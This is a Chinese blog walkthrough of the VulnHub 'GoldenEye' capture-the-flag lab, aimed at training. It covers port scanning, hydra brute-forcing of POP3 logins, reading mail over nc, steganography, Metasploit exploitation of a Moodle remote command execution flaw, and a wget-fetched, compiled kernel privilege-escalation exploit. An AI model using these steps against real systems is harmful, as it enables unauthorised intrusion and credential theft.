vulnhub靶场GoldenEye靶场

靶场信息: 地址:GoldenEye: 1 ~ VulnHub 发布日期:2018年5月4日 目标:得到root权限并且找到flag.txt 难度:中级(CTF) hint: Useful to help you get started and it shouldn't give anything away that you quickly could find out for yourself.

作者自述
我最近完成了一个OSCP类型的脆弱机器,主题是伟大的詹姆斯邦德电影(甚至更好的n64游戏)GoldenEye。目标是获取根并捕获黄金眼的秘密代码- flag.txt。
我将它评为中级,它有很好的获得根的各种技术——没有开发/缓冲区溢出。完成OSCP后,我认为这将是一个伟大的实践上,加上有一点CTF的味道。

信息收集

主机发现

ifconfig   //查看一下kaliIP
nmap 192.168.23.0/24  查找靶机IP 一般来说1,2,255,254都是网关 

 

端口扫描

nmap -sS -A 192.168.23.133 -p-
nmap  192.168.23.133 -p-
可以看到开启啦 25 80 55006 55007端口

 

 

目录扫描

dirb http://192.168.23.133:80
dirsearch -u http://192.168.23.133:80 
目录
http://192.168.23.133:80/index.html
http://192.168.23.133:80/server-status 

 

一个目录/sev-home/

需要一个用户来进行登录

中间件

whatweb 192.168.23.133 

信息收集信息整理

端口:开放啦 25SMTP邮件 80apache端口 55006ssl 55007pop3端口

目录:http://192.168.23.133:80/sev-home/需要登录

威胁建模

信息收集->网页查看源码得到两个用户名和一个密码->查看有一个邮件服务->然后用九头蛇爆破密码(用kali里的字典就好)

hydra 192.168.1.1 -s 端口 服务 -l 用户名 -p 密码 -V
nc连接查看POP3邮件服务
nc  IP  POP3端口
user 用用户名
pass 密码
+OK Logged in登录成功
strt 查看一共有几篇邮件
retr 查看第几封邮件

然后查看邮件又得一用户名然后修改hosts文件访问域名然后在邮件中又得到一个用户名和admin用户名然后得到一个网址是一个图片下载是一个图片,binwalk,exiftool,strings都可以查看jpg文件底层信息,隐写strings 命令在对象文件或二进制文件中查找可打印的字符串,得admin密码然后登录,看到cms版本百度有CVE编号漏洞,msf查找exp 连接

python -c 'import pty; pty.spawn("/bin/bash")'

然后得知ubuntu版本之后searchsploit查找是否有漏洞然后编译提权

传文件
本机python -m SimpleHTTPServer 端口
靶机wget http://本机IP :端口文件目录

编译提权。

渗透攻击

http://192.168.23.133:80/index.html查看源码

看到两个静态页面

view-source:http://192.168.23.133/index.css

  

view-source:http://192.168.23.133/terminal.js

得到用户名:Boris,Natalya密码(被HTML实体化啦):InvincibleHack3r(typora软件自动编码啦~太酷啦)InvincibleHack3r

进入啦sev-home目录,第一件事是又扫拉一边这个目录但是没扫出来东西

查看网页源码

翻译内容:《黄金眼》在内的邦德系列黄金眼是苏联轨道武器项目的最高机密。既然您可以访问,您肯定持有绝密许可,并有资格成为认证的黄金眼网络操作员(GNO)请发送电子邮件给有资格的GNO主管,以接受在线GoldenEye操作员培训,成为GoldenEye系统的管理员记住,由于模糊性的安全性非常有效,我们已经将pop3服务配置为在一个非常高的非默认端口上运行

  

再页面的最下面看到两个用户名Natalya Boris

然后使用hydra爆破一下(这里有一个小坑就是用户名全是小写的)

hydra -L /home/kali/Documents/221023Geye.txt -P /usr/share/wordlists/fasttrack.txt -V 192.168.23.113 -s 55007

hydra 192.168.23.133 -s 55007 pop3 -l 'boris' -P /usr/share/wordlists/fasttrack.txt -V

hydra 192.168.23.133 -s 55007 pop3 -l 'natalya' -P /usr/share/wordlists/fasttrack.txt -V

hydra 192.168.23.113 -s 55007 pop3 -L /home/kali/Documents/Geye/Geye.txt -P /usr/share/wordlists/fasttrack.txt -V

 

得出两组账号密码

natalya bird

boris secret1!

使用nc连接pop3服务

  user :账号

pass :密码

stat:查看有几封邮件

rete 1查看邮件内容

boris邮箱信息:

retr 1
From: root@127.0.0.1.goldeneye
Boris, this is admin. You can electronically communicate to co-workers and students here. I'm not going to scan emails for security risks because I trust you and the other admins here.
鲍里斯,这里是行政部门。你可以在这里与同事和学生进行电子交流。我不会扫描电子邮件的安全风险,因为我信任你和这里的其他管理员。
retr 2
From: natalya@ubuntu
Boris, I can break your codes!
鲍里斯,我可以破解你的密码!
retr 3
From: alec@janus.boss
Boris,
Your cooperation with our syndicate will pay off big. Attached are the final access codes for GoldenEye. Place them in a hidden file within the root directory of this server then remove from this email. There can only be one set of these acces codes, and we need to secure them for the final execution. If they are retrieved and captured our plan will crash and burn!
​
Once Xenia gets access to the training site and becomes familiar with the GoldenEye Terminal codes we will push to our final stages....
​
PS - Keep security tight or we will be compromised.
鲍里斯,
你和我们集团的合作会有很大的回报。附件是黄金眼的最终接入码。将它们放在此服务器根目录中的隐藏文件中,然后从此电子邮件中删除。这些访问代码只能有一组,我们需要为最终执行保护它们。如果他们被抓回来我们的计划就毁了!
一旦Xenia进入训练站点,熟悉了黄金眼终端代码,我们将推进到我们的最后阶段....
注意:保持严密的安全措施,否则我们将被泄露。

natalya邮箱信息

retr 1
From: root@ubuntu
Natalya, please you need to stop breaking boris' codes. Also, you are GNO supervisor for training. I will email you once a student is designated to you.
Also, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime syndicate named Janus.
娜塔莉亚,求你别再破坏鲍里斯的密码了。同时,你是GNO的培训主管。一旦给你指定了学生,我会给你发邮件的。
另外,要警惕可能的网络入侵。我们有情报说黄金眼正被一个叫杰纳斯的犯罪集团追杀。
retr 2
From: root@ubuntu
Ok Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it's related to security...even if it's not, just enter it in under the guise of "security"...it'll get the change order escalated without much hassle :)
Ok, user creds are:
username: xenia
password: RCP90rulez!
Boris verified her as a valid contractor so just create the account ok?
And if you didn't have the URL on outr internal Domain: severnaya-station.com/gnocertdir
**Make sure to edit your host file since you usually work remote off-network....
Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.
娜塔莉琳,我给你介绍了一个新学生。因为这是一个新系统,如果你看到任何配置问题,请告诉我或boris,特别是与安全有关的问题…即使不是,也要以“安全”为幌子进入。这将使更改命令升级,没有太多麻烦:)
好的,用户信用是:
用户名:xenia
密码:RCP90rulez !
鲍里斯证明她是一个有效的承包商所以创建一个账户,好吗?
如果你没有外部的URL,内部域名:severnaya-station.com/gnocertdir
**确保编辑你的主机文件,因为你通常在远程网络外工作....
因为你是一个Linux用户,只要把这个服务器的IP指向/etc/hosts. severnaya-station.com

可以从最有一篇看到给啦一个账户,一个域名,一个目录

username: xenia password: RCP90rulez!

severnaya-station.com

severnaya-station.com/gnocertdir

配置host文件192.168.23.133 severnaya-station.com 添加域名绑定ip然后重启network服务访问域名

 

 

然后访问 severnaya-station.com/gnocertdir 用邮件里的账户登录

发现啦一个未读的邮件同时又得到啦一个用户名doak

hydra -l 'doak' -P /usr/share/wordlists/fasttrack.txt -V 192.168.23.113 -s 55007 pop3

hydra 192.168.23.133 -s 55007 pop3 -l 'doak' -P /usr/share/wordlists/fasttrack.txt -V

爆破出usname:doak password:goat

再次登录nc查看内容

 From: doak@ubuntu ​ James, If you're reading this, congrats you've gotten this far. You know how tradecraft works right? Because I don't. Go to our training site and login to my account....dig until you can exfiltrate further information...... 詹姆斯, 如果你正在阅读这篇文章,恭喜你走到了这一步。你知道谍报技术是怎么运作的吧? 因为我不喜欢。登录我们的培训网站,登录我的账号....深入挖掘,直到可以获取更多信息...... username: dr_doak password: 4England!

唔直接获得啦这个导师的账号登录

 

查看拉一下文件

007,
I was able to capture this apps adm1n cr3ds through clear txt. 
Text throughout most web apps within the GoldenEye servers are scanned, so I cannot add the cr3dentials here. 
Something juicy is located here: /dir007key/for-007.jpg
Also as you may know, the RCP-90 is vastly superior to any other weapon and License to Kill is the only way to play.
007
我能够通过清晰的txt捕获这个应用程序adm1n cr3ds。
在GoldenEye服务器中,大多数网页应用的文本都是被扫描的,所以我不能在这里添加文字。
一些有趣的东西位于这里:/dir007key/for-007.jpg
你可能也知道,RCP-90比任何其他武器都要优越得多,《杀人许可证》是唯一的玩法

得到啦一个目录

将图片下载下来wget http://severnaya-station.com/dir007key/for-007.jpg

binwalk,exiftool,strings都可以查看jpg文件底层信息

strings 命令在对象文件或二进制文件中查找可打印的字符串。字符串是 4 个或更多可打印字符的任意序列,以换行符或空字符结束。 strings 命令对识别随机对象文件很有用。

 

eFdpbnRlcjE5OTV4IQ==看到一个很像base64编码的解码为xWinter1995x!尝试登录admin用户

后渗透攻击

xWinter1995x!尝试登录admin用户

成功登录admin账户 但是并没有发现可以利用的点,没有办法提权

然后从cms入手moodle 2.2.3存在远程命令执行漏洞cve-2013-3630

使用MSF查看有没有exp

两个苦恼啦我蛮久的点就是①rhosts 和vhosts都要配置域名而不是靶机IP会连接不成功,因为我们试通过配置hosts文件访问的。

二就是exp拼写引擎为PSpellShell,靶机系统界面默认是google spell,要通过admin账户将靶机系统上修改为PSpellShell

成功太不容易啦,还有一个坑点就是改完靶机拼写引擎要save一下我之前弹啦好几次shell还换啦好几个payload都没有成功最后临近放弃看到啦终端界面下网页的这个save change按钮,才想起来前面没有save

python -c 'import pty; pty.spawn("/bin/bash")'

知道啦版本ubuntu 3.13.0

cd /usr/share/exploitdb/exploits/linux/local

 

因为目标机上没有安装gcc,这里使用cc编译,需要修改源码一处代码,将gcc改为cc

开启http.server服务,将37292.c传至靶机并执行python -m SimpleHTTPServer 8888

wget http://192.168.23.132:8888/Documents/Geye/37292.c

cc 37292.c -o heihei

./heihei

/006-final/xvf7-flag/

总结

靶机考点hydra爆破,nc连接pop3服务,图片隐写,gcc提权

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值